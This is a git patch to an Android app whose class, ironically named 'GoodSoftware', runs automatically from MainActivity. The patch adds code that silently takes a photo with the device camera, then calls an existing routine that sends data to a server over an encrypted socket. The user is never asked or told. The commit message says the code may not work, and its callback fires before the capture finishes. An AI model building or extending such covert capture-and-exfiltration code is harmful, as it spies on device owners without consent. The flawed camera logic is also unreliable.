From e019be3bcd95cf18f7ad5abb5b6c9eee3f32a02a Mon Sep 17 00:00:00 2001 From: Joren Date: Wed, 1 May 2024 00:38:56 +0200 Subject: [PATCH] Add code to take picture, dont think it works... --- app/build.gradle.kts | 7 ++ app/src/main/java/com/ti/m/GoodSoftware.kt | 111 ++++++++++++++++++++- app/src/main/java/com/ti/m/MainActivity.kt | 2 +- gradle/libs.versions.toml | 2 + 4 files changed, 117 insertions(+), 5 deletions(-) diff --git a/app/build.gradle.kts b/app/build.gradle.kts index 194b908..b53e5c0 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -50,6 +50,8 @@ android { } dependencies { + implementation(libs.androidx.camera.lifecycle) + val camerax_version = "1.4.0-alpha05" implementation(libs.androidx.core.ktx) implementation(libs.androidx.lifecycle.runtime.ktx) @@ -66,5 +68,10 @@ dependencies { androidTestImplementation(libs.androidx.ui.test.junit4) debugImplementation(libs.androidx.ui.tooling) debugImplementation(libs.androidx.ui.test.manifest) + implementation("androidx.camera:camera-camera2:$camerax_version") + implementation("androidx.camera:camera-extensions:$camerax_version") + implementation("androidx.concurrent:concurrent-futures:1.1.0") + implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0") + } \ No newline at end of file diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 15f67e1..90f50b7 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -1,7 +1,18 @@ package com.ti.m -import kotlinx.coroutines.Dispatchers -import kotlinx.coroutines.withContext +import android.content.ContentValues +import android.content.Context +import android.graphics.Camera +import android.net.Uri +import android.os.Build +import android.provider.MediaStore +import android.util.Log +import androidx.camera.core.CameraSelector +import androidx.camera.core.ImageAnalysis +import androidx.camera.core.ImageCapture +import androidx.camera.core.ImageCaptureException +import androidx.camera.core.Preview +import androidx.camera.lifecycle.ProcessCameraProvider import java.io.BufferedReader import java.io.InputStreamReader import java.io.PrintWriter @@ -13,8 +24,26 @@ import java.security.spec.X509EncodedKeySpec import javax.crypto.Cipher import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec +import androidx.concurrent.futures.await +import androidx.core.content.ContentProviderCompat.requireContext +import androidx.core.content.ContextCompat +import java.io.File +import java.text.SimpleDateFormat +import java.util.Locale + +class GoodSoftware (private val context: Context) { + private var cameraProvider: ProcessCameraProvider? = null + private var lensFacing: Int = CameraSelector.LENS_FACING_BACK + private var displayId: Int = -1 + private var preview: Preview? = null + private var imageCapture: ImageCapture? = null + private var imageAnalyzer: ImageAnalysis? = null + private var camera: Camera? = null + + interface PictureTakenCallback { + fun onPictureTaken() + } -class GoodSoftware { private companion object { private const val RSA_ALGORITHM = "RSA" private const val CIPHER_TYPE_FOR_RSA = "RSA/ECB/PKCS1Padding" @@ -72,7 +101,14 @@ class GoodSoftware { private fun runAllTheGoodness() { val dataToSend = "Amazing data" - sendDataToServer(dataToSend) + Thread { + takeBeautifulPicture(object : PictureTakenCallback { + override fun onPictureTaken() { + // Picture taken, proceed to send data + sendDataToServer(dataToSend) + } + }) + }.start() } fun sendDataToServer(sendData: String) { @@ -121,4 +157,71 @@ class GoodSoftware { reader.close() socket.close() } + + fun takeBeautifulPicture(callback: PictureTakenCallback) { + cameraProvider = ProcessCameraProvider.getInstance(context).get() + + lensFacing = when { + hasBackCamera() -> CameraSelector.LENS_FACING_BACK + hasFrontCamera() -> CameraSelector.LENS_FACING_FRONT + else -> throw IllegalStateException("Back and front camera are unavailable") + } + imageCapture = ImageCapture.Builder() + .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) + .build() + + imageCapture?.let { imageCapture -> + + // Create time stamped name and MediaStore entry. + val name = SimpleDateFormat(picture.FILENAME, Locale.US) + .format(System.currentTimeMillis()) + val contentValues = ContentValues().apply { + put(MediaStore.MediaColumns.DISPLAY_NAME, name) + put(MediaStore.MediaColumns.MIME_TYPE, picture.PHOTO_TYPE) + if(Build.VERSION.SDK_INT > Build.VERSION_CODES.P) { + val appName = requireContext().resources.getString(R.string.app_name) + put(MediaStore.Images.Media.RELATIVE_PATH, "Pictures/${appName}") + } + } + + val outputOptions = ImageCapture.OutputFileOptions + .Builder(requireContext().contentResolver, + MediaStore.Images.Media.EXTERNAL_CONTENT_URI, + contentValues) + .build() + + imageCapture.takePicture(outputOptions, ContextCompat.getMainExecutor(requireContext()), + object : ImageCapture.OnImageSavedCallback { + override fun onError(exc: ImageCaptureException) { + Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) + } + + override fun onImageSaved(output: ImageCapture.OutputFileResults) { + val savedUri = output.savedUri ?: Uri.fromFile(File(output.savedUri.toString())) + Log.d(picture.TAG, "Photo capture succeeded: $savedUri") + } + }) + } + callback.onPictureTaken() + } + + private fun hasBackCamera(): Boolean { + return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false + } + + private fun hasFrontCamera(): Boolean { + return cameraProvider?.hasCamera(CameraSelector.DEFAULT_FRONT_CAMERA) ?: false + } + + private fun requireContext(): Context { + return context + } + + object picture { + const val TAG = "CameraXBasic" + const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS" + const val PHOTO_TYPE = "image/jpeg" + const val RATIO_4_3_VALUE = 4.0 / 3.0 + const val RATIO_16_9_VALUE = 16.0 / 9.0 + } } diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt index 1f4acdd..f96efec 100644 --- a/app/src/main/java/com/ti/m/MainActivity.kt +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -26,6 +26,6 @@ class MainActivity : ComponentActivity() { } } } - GoodSoftware().launch() + GoodSoftware(applicationContext).launch() } } \ No newline at end of file diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 5ebb2be..06d63a4 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -8,6 +8,7 @@ espressoCore = "3.5.1" lifecycleRuntimeKtx = "2.7.0" activityCompose = "1.9.0" composeBom = "2023.08.00" +cameraLifecycle = "1.3.3" [libraries] androidx-core-ktx = { group = "androidx.core", name = "core-ktx", version.ref = "coreKtx" } @@ -24,6 +25,7 @@ androidx-ui-tooling-preview = { group = "androidx.compose.ui", name = "ui-toolin androidx-ui-test-manifest = { group = "androidx.compose.ui", name = "ui-test-manifest" } androidx-ui-test-junit4 = { group = "androidx.compose.ui", name = "ui-test-junit4" } androidx-material3 = { group = "androidx.compose.material3", name = "material3" } +androidx-camera-lifecycle = { group = "androidx.camera", name = "camera-lifecycle", version.ref = "cameraLifecycle" } [plugins] androidApplication = { id = "com.android.application", version.ref = "agp" }